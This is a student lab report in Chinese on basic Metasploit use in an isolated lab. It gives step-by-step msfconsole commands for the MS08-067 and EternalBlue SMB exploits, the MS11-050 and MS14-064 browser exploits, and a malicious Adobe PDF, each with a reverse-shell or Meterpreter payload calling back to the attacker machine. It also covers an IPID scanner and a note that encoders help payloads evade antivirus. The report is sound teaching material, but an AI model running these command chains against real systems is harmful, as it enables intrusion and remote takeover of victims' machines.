20171113曾英特《MSF基础应用》实验报告
一、实验名称
MSF基础应用
二、实验目的
掌握Metasploit的基本应用方式,重点常用的三种攻击方式的思路。
三、实验内容
1.一个主动攻击实践,如ms08_067
2. 一个针对浏览器的攻击,如ms11_050
3.一个针对客户端的攻击,如Adobe
4.成功应用任何一个辅助模块
四、基础知识和实验准备
1.Metasploit:是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,同时拥有6个主要模块,渗透攻击模块(Exploit Modules)、辅助模块(Auxiliary Modules)、攻击载荷(Payload Modules)、空字段模块(Nop Modules)、编码模块(Encoders)、后渗透攻击模块(Post),v5版本还拥有免杀模块(veil)。
2.ms08-067:MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本。如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。
3.ms17-010: EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。SMB全称是Server Message Block(服务器信息块),用于在计算机间共享文件、打印机、串口等。
五、实验步骤
5.1 主动攻击实践
- 攻击者kali的IP地址为192.168.40.132,win7被攻击者的IP地址为192.168.40.133,win XP被攻击者IP地位为192.168.40.141
5.1.1 ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限
攻击机kali,被攻击者winXP,payload:generic/shell_reverse_tcp
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
输入show targets发现该命令针对的都是win2000和xp等操作系统,而我第一次用的是2003作为靶机发现失败
启动后输入search ms08_067,出现了一条漏洞信息。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.40.132 //攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 1113 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.40.141 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit //攻击
可以看到靶机的版本是XP
5.1.2 ms17_010_eternalblue
攻击者kali,被攻击者win7,payload:windows/x64/shell/reverse_tcp_uuid
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp_uuid
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.40.132
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 1113
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.40.133
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
发现攻击并未成功,报错了两个问题,问题提示主机不易受到攻击,暂时还没有解决这个问题
5.2 针对浏览器的攻击
5.2.1 ms11_050
攻击机为kali,靶机为win7,payload为windows/meterpreter/reverse_https
依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.40.132 //攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 1113 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 20171113 //统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit
其中SRVPORT和SRVHOST保持原状不改变
跳出连接后,在win7的IE上输入网址192.168.40.132:1113/20171113
回连成功
5.2.2 ms14_064
攻击机为kali,靶机为winXP,payload为windows/meterpreter/reverse_tcp
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.40.132 //设置攻方IP
set AllowPowerShellPrompt 1
set LHOST 192.168.40.141
set LPORT 1113
set target 0 //设置winXP靶机
5.3 针对客户端的攻击
5.3.1 Adobe
进入msfconsole控制台,输入use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 192.168.40.132 //攻击机ip
set LPORT 1113 //攻击端口
set FILENAME 20171113.pdf //设置生成pdf文件的名字
exploit
我的.msf4是隐藏目录,所以我们用命令行将其移动至桌面或者其他可见的地方
将生成的pdf文件拷贝到靶机上,需要提前下载Adobe软件进行安装。在kali上输入back退出当前模块,进入监听模块,输入以下命令:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcpset LHOST 192.168.40.132set LPORT 1113
之后在靶机中双击20171113.pdf,就可以看到这边已经回连成功了
5.4 成功应用任何一个辅助模块
5.4.1 ipidseq
该模块将探测主机的IPID序列,并使用相同的方法对IPID空闲扫描(-SI)和0秒检测(-0)进行分类。Nmap的空闲扫描可以使用其IPID序列被分类为增量或断小端增量的主机。
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf5 > use auxiliary/scanner/ip/ipidseq
msf5 auxiliary(scanner/ip/ipidseq) > show options //查看选项
msf5 auxiliary(scanner/ip/ipidseq) > set RHOSTS 192.168.3.30-192.168.3.40//目标地址范围
msf5 auxiliary(scanner/ip/ipidseq) > set TIMEOUT 5//超时设置
msf5 auxiliary(scanner/ip/ipidseq) > exploit
六、实验要求
6.1用自己的话解释什么是exploit,payload,encode?
- exploit:这是msfconsole里面最后执行攻击的命令,它的中文意思时利用压榨,代码意思比较像运行的意思,和c语言里面的run比较相似,就是对前面的命令进行一个整体的运行并且执行攻击操作
- payload:这是msfconsole选择设置负载时所需要使用的命令,中文意思是负载,有点像攻击者把不同的攻击方式进行相应编号,而我们通过这个编号进行选择有效的攻击,所以不同的攻击方式拥有不同的负载值
- encode:这是编码过程中所需要使用的命令,中文意思是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码
- 在我看来,不足的地方还有需要,比如我们操作时大部分都需要关闭防火墙和杀软才能进行拷贝文件,才能将恶意代码拷贝至目标主机,这在实战中是不现实的。
- 对于各种攻击方式,要求都十分苛刻严格,在实战中我们面对的可能是各种各样的主机,所以这些攻击方式也显得有点落后了
- 对靶机的版本要求特别高,不管是系统版本还是软件的版本,如何确保靶机的版本符合攻击的要求需要考虑
6.2 离实战还缺些什么技术或步骤?
七、实验感想
这是网络对抗技术的第六次实验。本次实验难点主要在靶机的版本上,由于每个攻击版本要求不同,每次攻击时都需要下不同的镜像还有软件,比较费时费力。实验中还是遇到挺多问题的,不过在老师还有同学的帮助下都一一解决了,完成了实验,也找到了和别人不一样的攻击方法,对MSF的应用更加熟练,收获颇深。因为实验毕竟是很有限的,很多东西其实是很理想化的,在现实生活中不可能奏效。每次在做实验的时候都会想要尝试一下比较“实际”的操作,比如连接到不同网段,比如能够攻击比较新的操作系统然后不被发现等等。但是现在自己的这方面能力还是比较弱,至今没有成功过。相信今后会成功的~